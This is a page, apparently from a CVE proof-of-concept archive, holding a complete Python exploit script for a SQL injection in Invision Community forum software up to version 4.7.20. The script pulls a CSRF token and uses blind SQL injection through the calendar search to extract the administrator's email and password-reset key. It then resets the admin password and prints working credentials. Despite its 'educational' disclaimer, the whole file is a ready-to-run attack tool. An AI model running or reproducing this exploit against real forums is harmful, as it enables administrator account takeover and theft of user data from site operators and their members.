4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / invision-sqli-exploit.py PY
#!/usr/bin/env python3
"""
Invision Community <= 4.7.20 (calendar/view.php) SQL Injection Exploit
CVE-2025-48932

Author: nanda
Developer: nanda
Date: 2025-11-14

This proof of concept demonstrates a SQL injection vulnerability in Invision Community
versions <= 4.7.20. This code is provided for educational and authorized security 
testing purposes ONLY.

File: invision_sqli_exploit.py (can be imported as a module)
"""

import re
import sys
import time
import argparse
import requests
from urllib.parse import urljoin
from colorama import init, Fore, Style

# Initialize colorama for cross-platform colored output
init(autoreset=True)

class InvisionSQLiExploit:
    """
    Exploit class for Invision Community SQL Injection vulnerability (CVE-2025-48932)
    """
    
    def __init__(self, target_url, verbose=False):
        """
        Initialize the exploit with target URL and settings
        
        Args:
            target_url (str): Base URL of the target Invision Community installation
            verbose (bool): Enable verbose output for debugging
        """
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False  # Disable SSL verification (use with caution)
        self.csrf_token = None
        
        # Suppress SSL warnings
        requests.packages.urllib3.disable_warnings()
        
    def print_banner(self):
        """Display exploit banner"""
        banner = f"""
{Fore.CYAN}{'='*70}
{Fore.YELLOW}Invision Community <= 4.7.20 SQL Injection Exploit
{Fore.YELLOW}CVE-2025-48932
{Fore.CYAN}{'='*70}
{Fore.WHITE}Target: {self.target_url}
{Fore.CYAN}{'='*70}{Style.RESET_ALL}
        """
        print(banner)
        
    def log_info(self, message):
        """Print info message"""
        print(f"{Fore.BLUE}[*]{Style.RESET_ALL} {message}")
        
    def log_success(self, message):
        """Print success message"""
        print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {message}")
        
    def log_error(self, message):
        """Print error message"""
        print(f"{Fore.RED}[-]{Style.RESET_ALL} {message}")
        
    def log_warning(self, message):
        """Print warning message"""
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {message}")
        
    def log_verbose(self, message):
        """Print verbose debug message"""
        if self.verbose:
            print(f"{Fore.MAGENTA}[DEBUG]{Style.RESET_ALL} {message}")
            
    def fetch_csrf_token(self):
        """
        Fetch CSRF token from the main page
        
        Returns:
            bool: True if successful, False otherwise
        """
        self.log_info("Fetching CSRF token...")
        
        try:
            response = self.session.get(self.target_url, timeout=30)
            response.raise_for_status()
            
            # Extract CSRF token using regex
            csrf_match = re.search(r'csrfKey:\s*["\']([^"\']+)["\']', response.text)
            
            if csrf_match:
                self.csrf_token = csrf_match.group(1)
                self.log_success(f"CSRF token found: {self.csrf_token}")
                return True
            else:
                self.log_error("CSRF token not found in response!")
                return False
                
        except requests.exceptions.RequestException as e:
            self.log_error(f"Failed to fetch CSRF token: {str(e)}")
            return False
            
    def sql_injection(self, sql_query):
        """
        Perform boolean-based blind SQL injection to extract data
        
        Args:
            sql_query (str): SQL query to execute
            
        Returns:
            str: Extracted data from the database
        """
        data = ""
        index = 1
        
        while True:
            min_val = True
            test = 256
            
            # Binary search for each character
            for i in range(7, -1, -1):
                if min_val:
                    test = test - pow(2, i)
                else:
                    test = test + pow(2, i)
                
                # Craft SQL injection payload
                payload = f"'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR(({sql_query}),{index},1))<{test},0x28,0x31)))#"
                
                params = {
                    "app": "calendar",
                    "module": "calendar",
                    "controller": "view",
                    "do": "search",
                    "form_submitted": 1,
                    "csrfKey": self.csrf_token,
                    "location": payload
                }
                
                try:
                    response = self.session.post(
                        urljoin(self.target_url, "index.php"),
                        data=params,
                        timeout=30
                    )
                    
                    # Check if error message appears (indicates condition is true)
                    min_val = "elErrorMessage" in response.text
                    
                    self.log_verbose(f"Testing index {index}, test value {test}, result: {min_val}")
                    
                except requests.exceptions.RequestException as e:
                    self.log_error(f"Request failed: {str(e)}")
                    return None
            
            # Calculate the character value
            chr_value = (test - 1) if min_val else test
            
            # If we get 0, we've reached the end of the string
            if chr_value == 0:
                break
                
            data += chr(chr_value)
            index += 1
            
            # Print progress
            print(f"\r{Fore.CYAN}[*]{Style.RESET_ALL} Extracting data: {Fore.GREEN}{data}{Style.RESET_ALL}", end='', flush=True)
        
        print()  # New line after progress
        return data
        
    def exploit(self):
        """
        Main exploit workflow
        
        Returns:
            dict: Contains admin email and password if successful, None otherwise
        """
        self.print_banner()
        
        # Step 1: Fetch CSRF token
        if not self.fetch_csrf_token():
            return None
            
        # Step 2: Extract admin email
        self.log_info("Step 1: Extracting admin email address...")
        admin_email = self.sql_injection("SELECT email FROM core_members WHERE member_id=1")
        
        if not admin_email:
            self.log_error("Failed to extract admin email!")
            return None
            
        self.log_success(f"Admin email: {Fore.YELLOW}{admin_email}{Style.RESET_ALL}")
        
        # Step 3: Wait for password reset
        self.log_warning("\nStep 2: Manual action required!")
        print(f"\n{Fore.YELLOW}Please follow these steps:{Style.RESET_ALL}")
        print(f"1. Navigate to: {Fore.CYAN}{self.target_url}/index.php?/lostpassword/{Style.RESET_ALL}")
        print(f"2. Request a password reset using email: {Fore.CYAN}{admin_email}{Style.RESET_ALL}")
        print(f"3. Press {Fore.GREEN}ENTER{Style.RESET_ALL} when done...")
        
        input()
        
        # Step 4: Extract password reset key
        self.log_info("Step 3: Extracting password reset validation key...")
        reset_key = self.sql_injection(
            "SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1"
        )
        
        if not reset_key:
            self.log_error("Failed to extract reset key!")
            return None
            
        self.log_success(f"Reset key: {Fore.YELLOW}{reset_key}{Style.RESET_ALL}")
        
        # Step 5: Reset admin password
        self.log_info("Step 4: Resetting admin password...")
        
        new_password = f"Pwned{int(time.time())}"
        
        params = {
            "do": "validate",
            "vid": reset_key,
            "mid": 1,
            "password": new_password,
            "password_confirm": new_password,
            "resetpass_submitted": 1,
            "csrfKey": self.csrf_token
        }
        
        try:
            response = self.session.post(
                urljoin(self.target_url, "index.php?/lostpassword/"),
                data=params,
                allow_redirects=False,
                timeout=30
            )
            
            # Check for successful redirect (301/302)
            if response.status_code in [301, 302]:
                self.log_success(f"\n{Fore.GREEN}{'='*70}")
                self.log_success(f"EXPLOITATION SUCCESSFUL!")
                self.log_success(f"{'='*70}{Style.RESET_ALL}")
                print(f"\n{Fore.YELLOW}Admin credentials:{Style.RESET_ALL}")
                print(f"  Email:    {Fore.CYAN}{admin_email}{Style.RESET_ALL}")
                print(f"  Password: {Fore.CYAN}{new_password}{Style.RESET_ALL}")
                print(f"\n{Fore.GREEN}You can now login at: {self.target_url}/index.php?/login/{Style.RESET_ALL}\n")
                
                return {
                    "email": admin_email,
                    "password": new_password
                }
            else:
                self.log_error("Password reset failed! Unexpected response.")
                self.log_verbose(f"Status code: {response.status_code}")
                return None
                
        except requests.exceptions.RequestException as e:
            self.log_error(f"Password reset request failed: {str(e)}")
            return None


def main():
    """Main function to parse arguments and run exploit"""
    
    parser = argparse.ArgumentParser(
        description="Invision Community <= 4.7.20 SQL Injection Exploit (CVE-2025-48932)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Example Usage:
  python invision-sqli-exploit.py -u http://target.com/forum/
  python invision-sqli-exploit.py -u https://example.com/community/ -v

Requirements:
  - Calendar application must be installed
  - GeoLocation feature (like Google Maps) must be configured
  - Target must be running Invision Community <= 4.7.20

Disclaimer:
  This tool is provided for educational and authorized security testing purposes only.
  Unauthorized access to computer systems is illegal. Use at your own risk.
        """
    )
    
    parser.add_argument(
        '-u', '--url',
        required=True,
        help='Target Invision Community base URL (e.g., http://target.com/forum/)'
    )
    
    parser.add_argument(
        '-v', '--verbose',
        action='store_true',
        help='Enable verbose output for debugging'
    )
    
    args = parser.parse_args()
    
    # Display disclaimer
    print(f"\n{Fore.RED}{'='*70}")
    print(f"{Fore.RED}DISCLAIMER: Educational and Authorized Testing Only")
    print(f"{Fore.RED}{'='*70}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}This tool is provided for educational purposes and authorized")
    print(f"security testing only. Unauthorized access to computer systems is illegal.")
    print(f"The author is not responsible for any misuse or damage.{Style.RESET_ALL}")
    print(f"\n{Fore.YELLOW}Do you understand and agree to use this tool responsibly? (yes/no){Style.RESET_ALL}")
    
    consent = input("> ").strip().lower()
    
    if consent not in ['yes', 'y']:
        print(f"\n{Fore.RED}Exploitation aborted.{Style.RESET_ALL}\n")
        sys.exit(0)
    
    # Initialize and run exploit
    exploit = InvisionSQLiExploit(args.url, args.verbose)
    result = exploit.exploit()
    
    if result:
        sys.exit(0)
    else:
        sys.exit(1)


if __name__ == "__main__":
    main()